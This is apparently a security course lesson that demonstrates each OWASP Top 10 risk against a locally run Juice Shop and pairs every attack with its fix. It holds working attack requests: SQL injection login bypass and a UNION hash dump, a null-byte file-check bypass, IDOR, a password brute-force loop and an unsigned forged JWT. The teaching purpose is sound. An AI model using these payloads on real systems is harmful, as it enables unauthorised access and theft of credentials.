Security for engineers · Lesson 7 of 11 · about 35 minutes

The OWASP Top 10, hands-on

The ten most common web application risks, from the 2025 list, each tried for real against OWASP Juice Shop, a web shop built to be insecure, running only on your own computer. Someone else's basket, a review posted as another user, the admin's account with no password, all 25 password hashes in one query, a basket total of minus $199, twenty wrong passwords with nothing in the way, a login token with no signature that the server accepted, and the shop's log, which noticed almost none of it.

By the end you'll know

  • What the OWASP Top 10 is, and the ten risks on the 2025 list
  • What each one looks like in a real request, and the fix for each
  • How SQL injection works, step by step, and why one quote mark matters
  • Why the server must decide who you are and what you're allowed, never the browser
  • Why "it works in the browser" says nothing about what the API accepts

Before you start

  • You need: Docker on your computer, and jq. No cluster this time.
  • The target is OWASP Juice Shop, a web shop built to be insecure for exactly this kind of practice, with its own fake accounts and orders. It runs in a container bound to 127.0.0.1, so nothing outside your computer can reach it.
  • Only try these against systems you own or are allowed to test. Every request in this lesson is illegal to send to someone else's site without permission.
  • Maps to Security+: domain 2 (application attacks, indicators of malicious activity) and domain 4 (application security).

The short version

  • A01 Broken access control: another customer's basket, a review posted as user 1, and a "forbidden" backup file, fetched with a two-character trick.
  • A04 and A05, Cryptographic failures and Injection: logged in as the admin by typing ' OR 1=1-- as the email; then all 25 accounts with their password hashes, unsalted MD5, in one search.
  • A06 Insecure design: a quantity of minus 100, accepted, for a line total of minus $199.
  • A07 Authentication failures: 20 wrong passwords in a row, never slowed down; the admin's password is admin123.
  • A08 Integrity failures: a login token with no signature, made on the laptop, accepted.
  • A09 Logging failures: the shop's log recorded two database errors, and none of the rest.
  • Juice Shop's scoreboard: 10 challenges solved, all with curl.

The OWASP Top 10

OWASP, the Open Worldwide Application Security Project, is a non-profit that publishes free security standards and tools. Its Top 10 is a list of the most common and serious risks in web applications, rebuilt every few years from data that security companies contribute about the applications they test, plus a survey of people who do the work. The 2025 edition:

RiskIn one line
A01Broken Access ControlDoing or seeing what you're not allowed to
A02Security MisconfigurationUnsafe settings, defaults and leftovers
A03Software Supply Chain FailuresVulnerable or compromised components and tools (new)
A04Cryptographic FailuresWeak or missing protection of data
A05InjectionInput that's run as code: SQL, commands, scripts
A06Insecure DesignFlaws in how it was meant to work, not how it was built
A07Authentication FailuresWeak logins, guessable passwords, broken sessions
A08Software or Data Integrity FailuresTrusting code or data that wasn't checked
A09Security Logging and Alerting FailuresAttacks that nobody records, or nobody notices
A10Mishandling of Exceptional ConditionsErrors that leak, crash or fail open (new)

It's an awareness document, not a checklist: a list of where to look first. Most real breaches of web applications fall under one of these ten.

The shop

BASH
docker run -d --name juice-shop -p 127.0.0.1:3005:3000 bkimminich/juice-shop:latest
curl -s http://127.0.0.1:3005/rest/admin/application-version
  • -p 127.0.0.1:3005:3000 publishes the shop's port 3000 on port 3005, only on your computer's loopback address. Without 127.0.0.1:, Docker would publish it on every network your computer is on.
OUTPUT
bkimminich/juice-shop@sha256:42843723a7bf4246aa5d63c324978b17ef296ac78434aeddd34c427bfb5853f4
{"version":"20.3.0"}

(Pulled as latest, so the digest is recorded: that's the exact shop these results came from.) Then an ordinary customer account, the kind anyone can sign up for:

OUTPUT
$ curl -s -H Content-Type:application/json -d '{"email":"lesson7@example.com","password":"Lesson7-pass!","passwordRepeat":"Lesson7-pass!"}' http://127.0.0.1:3005/api/Users
{"status":"success","email":"lesson7@example.com","role":"customer"}
logged in as lesson7@example.com; this account's basket is number 6

Everything below goes straight to the shop's API, the requests its web pages make behind the scenes. The pages hide plenty; the API is what an attacker talks to.

A01 Broken access control

Someone else's basket. Logged in as lesson7, whose basket is number 6:

OUTPUT
$ as_user http://127.0.0.1:3005/rest/basket/6
{"basket":6,"owner":25,"items":[]}

$ as_user http://127.0.0.1:3005/rest/basket/1
{"basket":1,"owner":1,"items":[{"name":"Apple Juice (1000ml)","qty":2},{"name":"Orange Juice (1000ml)","qty":3},{"name":"Eggfruit Juice (500ml)","qty":1}]}
  • as_user is the script's shorthand for curl with lesson7's login token.

Change one number, get another customer's basket. The server checked that you're logged in; it never checked that this basket is yours. This kind of flaw has a name, IDOR (insecure direct object reference), and it's the most common access control bug there is.

A review as someone else. The feedback form sends the user's ID along with the review. So send a different one:

OUTPUT
$ curl -s http://127.0.0.1:3005/rest/captcha/
{"captchaId":0,"captcha":"2*10-7","answer":"13"}

$ as_user -H Content-Type:application/json -d '{"UserId":1,"captchaId":1,"captcha":"15","comment":"lesson 7: posted by someone else","rating":1}' http://127.0.0.1:3005/api/Feedbacks
{"status":"success","posted_as_user":1,"comment":"lesson 7: posted by someone else"}

$ jwt_payload "$TOKEN"
{"id":25,"email":"lesson7@example.com"}

Logged in as user 25; review posted as user 1. The server took the browser's word for who wrote it. (And the CAPTCHA, the puzzle meant to stop scripts, sends its own answer to the browser along with the question. That one's A06: a design that can't work.)

A file you're not allowed. The shop has a file folder, /ftp, and lists it to anyone:

OUTPUT
quarantine acquisitions.md announcement_encrypted.md coupons_2013.md.bak eastere.gg encrypt.pyc incident-support.kdbx legal.md package-lock.json.bak package.json.bak suspicious_errors.yml

$ curl -s http://127.0.0.1:3005/ftp/acquisitions.md | head -8
# Planned Acquisitions

> This document is confidential! Do not distribute!

Backups, a password database (.kdbx), and a confidential document. The server does try to stop some of it:

OUTPUT
$ curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:3005/ftp/package.json.bak
403
    <title>Error: Only .md and .pdf files are allowed!</title>

$ curl -s http://127.0.0.1:3005/ftp/package.json.bak%2500.md
{
  "name": "juice-shop",
  "version": "6.2.0-SNAPSHOT",
  "description": "An intentionally insecure JavaScript Web Application",

%2500 is a null byte, encoded twice. The check sees a name ending in .md and allows it; the code that opens the file stops reading the name at the null byte, and opens package.json.bak. Two parts of the program disagreeing about what a name means is a classic way past a check.

The fix: check ownership on the server, on every request, for every object ("is basket 1 this user's?"). Take the user's identity from their verified login, never from what the browser sends. Deny by default. And don't serve a folder you haven't decided, file by file, to publish.

A02 Security misconfiguration

OUTPUT
$ curl -sI http://127.0.0.1:3005/
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Recruiting: /#/jobs
  • Access-Control-Allow-Origin: * lets any website's scripts read this API's responses from a visitor's browser.
  • No Content-Security-Policy, the header that limits where a page may load scripts from. It's the main defense against injected scripts (cross-site scripting).
  • No Strict-Transport-Security, which makes browsers use HTTPS only. (On a local test, there's no HTTPS anyway.)
  • Some are right: nosniff and X-Frame-Options are set.

The file listing above is a misconfiguration too: directory listing switched on, and backups left where the server can reach them. And A10 below shows the shop's error pages. Misconfiguration is rarely one big mistake: it's defaults nobody changed and leftovers nobody removed.

The fix: a hardened, repeatable configuration (the same idea as Lesson 3, for web servers), security headers set once in one place, and nothing deployed that the application doesn't need.

A03 Software supply chain failures

New on the 2025 list, and the subject of the last lesson. Trivy, against the shop's own image:

OUTPUT
os-pkgs    debian    0 critical   2 high
lang-pkgs  node-pkg  11 critical  32 high

crypto-js     3.3.0  4.0.0   CVE-2026-71851
crypto-js     3.3.0  4.2.0   CVE-2023-46233
decompress    4.2.1  no fix  CVE-2026-101894
decompress    4.2.1  no fix  CVE-2026-53486
handlebars    4.7.9  4.7.10  CVE-2026-106445
handlebars    4.7.9  4.7.10  CVE-2026-106446
jsonwebtoken  0.1.0  4.2.2   CVE-2015-9235
jsonwebtoken  0.4.0  4.2.2   CVE-2015-9235

This time the operating system is nearly clean and the app's own JavaScript packages carry the risk: 11 critical. Look at the last two: jsonwebtoken 0.1.0, the library that checks login tokens, with a flaw from 2015. A08 below shows exactly what that flaw does.

The fix: Lesson 6, applied to the app: an SBOM, dependency scanning in the pipeline (npm audit, Trivy, Dependabot), updates as routine, and every tool pinned.

A04 Cryptographic failures, and A05 Injection

These two arrive together, because one injection hands over every password hash at once.

Logging in as the admin, with no password

The login form sends an email and a password. The server builds a database query out of them, something like:

SQL
SELECT * FROM Users WHERE email = '<email>' AND password = '<hash of password>'

So type this as the email: ' OR 1=1--

SQL
SELECT * FROM Users WHERE email = '' OR 1=1--' AND password = '...'
  • The ' closes the email's quotes early.
  • OR 1=1 is true for every row.
  • -- starts a comment, so the password check is ignored.
OUTPUT
$ curl -s -H Content-Type:application/json -d '{"email":"'"'"' OR 1=1--","password":"anything"}' http://127.0.0.1:3005/rest/user/login
{"token":"eyJ0eXAiOiJKV1QiLCJh...","basket":1,"user":"admin@juice-sh.op"}

Every user matched, and the first one is the admin. That's injection: input treated as part of a command. And the token it returned, a JWT (JSON Web Token), is only encoded, not encrypted, so anyone can read it:

OUTPUT
$ jwt_payload "$ADMIN_TOKEN"
{"id":1,"email":"admin@juice-sh.op","role":"admin","password":"0192023a7bbd73250516f069df18b500"}

The password hash is inside the login token, sent to the browser.

The product search is injectable too. A UNION adds a second query's rows to the first, so the search can return the Users table instead of products, but only if both halves have the same number of columns. So try each count until the database stops complaining:

OUTPUT
  6 columns: HTTP 500
  7 columns: HTTP 500
  8 columns: HTTP 500
  9 columns: HTTP 500
  10 columns: HTTP 200

$ echo "$Q"
qwert')) UNION SELECT id, email, password, '4', '5', '6', '7', '8', '9', '10' FROM Users--
  • qwert')) closes the search's own text and brackets, matching nothing.
  • UNION SELECT id, email, password, ... puts each user's email where a product's name goes, and the hash where its description goes; the numbers fill the remaining columns.
OUTPUT
admin@juice-sh.op	0192023a7bbd73250516f069df18b500
jim@juice-sh.op	e541ca7ecf72b8d1286474fc613e5e45
bender@juice-sh.op	0c36e517e3fa95aabf1bbffc6744a4ef
...
ciso@juice-sh.op	861917d5fa5f1172f931dc700d81a8fb
support@juice-sh.op	3869433d74e3d0c86fd25562f836bc82

25
  25 32

All 25 accounts, every hash 32 hex characters: MD5, with no salt. That's the cryptographic failure:

OUTPUT
$ printf %s admin123 | md5
0192023a7bbd73250516f069df18b500

The admin's hash is the MD5 of admin123, and anyone can check a guess in a microsecond. MD5 is fast, which is exactly wrong for passwords: a single graphics card tries billions of guesses a second. With no salt (a random value added to each password before hashing), every user with the same password has the same hash, and precomputed tables of common passwords' hashes find them instantly.

The fixes. For injection: parameterized queries, where the query and the user's input travel separately and the input can never become code (WHERE email = ?), and input validation on top. For passwords: a slow, salted algorithm made for them, Argon2id, bcrypt or scrypt. And never put a password hash, or anything else secret, in a token the browser holds.

A06 Insecure design

Add one apple juice to the basket, then change the quantity:

OUTPUT
$ as_user -X PUT -H Content-Type:application/json -d '{"quantity":-100}' http://127.0.0.1:3005/api/BasketItems/9
{"status":"success","quantity":-100}

$ as_user http://127.0.0.1:3005/rest/basket/6
[{"name":"Apple Juice (1000ml)","price":1.99,"quantity":-100,"line_total":-199}]

A basket worth minus $199. Nothing here is a coding bug: the update did exactly what it was written to do. Nobody decided that quantities have to be positive, so nothing checks. (The CAPTCHA that sends its own answer is the same kind of flaw.) Design flaws can't be fixed by better code alone; they're fixed by thinking about misuse before building.

The fix: threat modeling (Lesson 2) for business rules: "what if the quantity is negative? zero? a million? what if two requests arrive at once?" Then validate every value on the server, against the business's rules, not just its type.

A07 Authentication failures

OUTPUT
$ for i in $(seq 1 20); do curl -s -o /dev/null -w '%{http_code} ' -H Content-Type:application/json -d '{"email":"admin@juice-sh.op","password":"wrong'$i'"}' http://127.0.0.1:3005/rest/user/login; done
401 401 401 401 401 401 401 401 401 401 401 401 401 401 401 401 401 401 401 401

$ curl -s -o /dev/null -w '%{http_code}\n' -H Content-Type:application/json -d '{"email":"admin@juice-sh.op","password":"admin123"}' http://127.0.0.1:3005/rest/user/login
200

Twenty wrong passwords, never slowed, never locked, and then the right one: admin123, which a list of the most common passwords would reach early. No rate limit, no lockout, no second factor, and an admin with one of the weakest passwords there is.

The fix: rate limiting by account and by address (Lesson 3's firewall did this for SSH), checking new passwords against lists of breached ones, multi-factor authentication for anything important, and no default or shared admin passwords.

A08 Software or data integrity failures

A JWT has three parts: a header that names the signing algorithm, the data, and a signature. The shop signs its tokens with RS256, a private key only the server has:

OUTPUT
$ echo "$TOKEN" | cut -d. -f1 | base64 -d
{"typ":"JWT","alg":"RS256"}

Then a token made on the laptop: algorithm none, data claiming to be an admin account the script never logged in as, and no signature at all:

OUTPUT
$ echo "$FORGED" | cut -d. -f1 | base64 -d
{"typ":"JWT","alg":"none

(The last two characters are lost to base64 padding in the display; the token itself has them.) The shop's "who am I" endpoint returned nothing for either token, because it reads the token from a cookie, not the header these requests used. But Juice Shop's own scoreboard settled it:

OUTPUT
  Unsigned JWT (Vulnerable Components)

The server accepted the unsigned token. That's CVE-2015-9235, the jsonwebtoken 0.1.0 flaw Trivy found in A03: the library let the token choose its own algorithm, and none means "don't check". Integrity failures are about trusting something because of where it seems to come from instead of checking it: unsigned tokens, unsigned updates, data the client says is fine.

The fix: the server decides the algorithm and always verifies the signature, using a current library; sign software, updates and images (Lesson 6's Cosign), and verify before use.

A09 Security logging and alerting failures

By now the shop has seen SQL injection, a stolen admin login, all 25 password hashes taken, a forged review, twenty failed logins and a forged token. Its log:

OUTPUT
$ docker logs juice-shop 2>&1 | wc -l
      65

$ docker logs juice-shop 2>&1 | grep -ciE 'login|sql|union|unauthori|forbidden'
4

$ docker logs juice-shop 2>&1 | tail -8
info: Solved 4-star nullByteChallenge (Poison Null Byte)
...
Error: SQLITE_ERROR: SELECTs to the left and right of UNION do not have the same number of result columns
Error: SQLITE_ERROR: SELECTs to the left and right of UNION do not have the same number of result columns
info: Solved 2-star loginAdminChallenge (Login Admin)
...
info: Solved 2-star weakPasswordChallenge (Password Strength)

Two database errors, the failed injection attempts, with no address, user or request to say who or what. The "Solved" lines exist only because Juice Shop is a training tool keeping score; a real shop wouldn't have them. Nothing about twenty failed logins on the admin account, a basket read by its non-owner, or a review posted under another name. If this were real, nobody would know until the hashes turned up for sale.

The fix: log security events on purpose (logins and failures, access denied, changes to accounts and permissions, input validation failures) with who, what, when and from where; send them off the server; and alert on patterns, like twenty failures in a second. That's Lesson 10.

A10 Mishandling of exceptional conditions

New on the 2025 list. One quote mark on its own was handled:

OUTPUT
$ curl -s -w '\nHTTP %{http_code}\n' "http://127.0.0.1:3005/rest/products/search?q='"
{"status":"success","data":[]}
HTTP 200

But a query that breaks the database differently:

OUTPUT
 Error: SQLITE_ERROR: SELECTs to the left and right of UNION do not have the same number of result columns
 * {
 margin: 0;
 padding: 0;
 ...

The database's own error message, sent to the browser in a full error page. That's what made the column-counting in A05 possible: each attempt's error said exactly what was wrong. An error is information, and this one went to the attacker instead of the log.

The fix: catch errors in one place, return a short, generic message with a reference number, and log the details on the server. And decide what failure means in advance: if a permission check throws an error, the answer must be "no", never "carry on" (fail closed).

In real systems

  • Test the API, not the pages. Every finding here came from curl. The web pages would have hidden the basket number, the user ID and the token; none of that stopped anything.
  • Use the framework's protections. Parameterized queries and ORMs, templating that escapes output, the framework's own authentication and password hashing. Most of the Top 10 comes from going around them.
  • Scan, then test by hand. Dynamic scanners such as OWASP ZAP find the obvious (missing headers, simple injection). Access control and design flaws like A01 and A06 need a person, or tests written for them.
  • The OWASP ASVS, the Application Security Verification Standard, turns the Top 10 into testable requirements, and the OWASP Cheat Sheet Series has a page for nearly every fix above.
  • A web application firewall (WAF) can block common attack patterns, like ' OR 1=1. It's a net, not a fix: the flaw is still in the code, and attackers vary the pattern.

Spot the problem

Work out what's wrong before you read the explanation.

The hidden field. A team builds a product review form. The page fills in the logged-in user's ID in a hidden field, so it's sent with each review. Their tests click through the form as three different users, and each review shows the right name. A penetration test a month later finds reviews posted under other customers' names, including one from the CEO's account praising a competitor. How, if the tests passed? The tests checked what the page sends; an attacker sends whatever they like. A hidden field is hidden from the screen, not from anyone who can open the browser's developer tools or use curl. This lesson did exactly that: logged in as user 25, it sent "UserId":1, and the shop posted the review as user 1. The server already knew who was logged in, from the signed token; it used the browser's number instead. Three fixes: take identity from the verified session on the server, and ignore any user ID the client sends; test the API directly with someone else's IDs, not only through the page; and check ownership on every request that names an object, the same fix as the basket.

Keep this

RiskFound hereThe fix
A01 Broken access controlAnother user's basket; a review as user 1; a forbidden fileCheck ownership on the server, every request; identity from the session
A02 Security misconfigurationAny origin allowed; no CSP; a listed file folderHardened, repeatable configuration; security headers
A03 Supply chain failures11 critical in the app's packagesSBOM, dependency scanning, routine updates, pinned tools
A04 Cryptographic failuresUnsalted MD5; a hash inside the tokenArgon2id, bcrypt or scrypt; nothing secret in tokens
A05 InjectionAdmin login with ' OR 1=1--; all hashes by UNIONParameterized queries; validate input
A06 Insecure designA quantity of minus 100; a CAPTCHA that sends its answerThreat model the business rules; validate against them
A07 Authentication failures20 guesses unhindered; admin123Rate limits, breached-password checks, MFA
A08 Integrity failuresAn unsigned token acceptedAlways verify signatures; the server picks the algorithm
A09 Logging failuresTwo errors logged, nothing elseLog security events; ship them off the server; alert
A10 Exceptional conditionsThe database error sent to the browserGeneric errors out, details in the log; fail closed

Where you are now

You've seen each of the ten risks happen, with the request that did it and the fix that stops it, and you know to test what the server accepts rather than what the page shows. Juice Shop has over a hundred more challenges if you want to keep going: it's still running at http://127.0.0.1:3005, with a scoreboard at /#/score-board. The next lesson goes back to the bookshop and the cluster, to the thing protecting every request in between: TLS and certificates.

Check yourself

  1. Changing /rest/basket/6 to /rest/basket/1 showed another customer's basket. What was missing?

  2. Why did ' OR 1=1-- as the email log in as the admin?

  3. Why is unsalted MD5 bad for passwords?

  4. Why is a quantity of minus 100 insecure design, not a coding bug?

  5. What did the unsigned token show?

  6. The forged review was posted as user 1. Where should the user's identity come from?

Key terms

  • OWASP: the Open Worldwide Application Security Project, a non-profit publishing free security standards and tools.
  • OWASP Top 10: OWASP's list of the most serious risks to web applications, last updated in 2025.
  • API: the requests an application's pages make behind the scenes, and what an attacker talks to directly.
  • IDOR (insecure direct object reference): reaching another user's data by changing an ID in a request.
  • SQL injection: input that becomes part of a database query.
  • Parameterized query: a query sent separately from its input, so the input can't become code.
  • Salt: a random value added to each password before hashing, so identical passwords hash differently.
  • JWT (JSON Web Token): a signed, readable token carrying who a user is.
  • Fail closed: when something goes wrong, deny rather than allow.
  • Null byte: a zero character that ends a string in some languages, used to make two parts of a program read a name differently.

Go deeper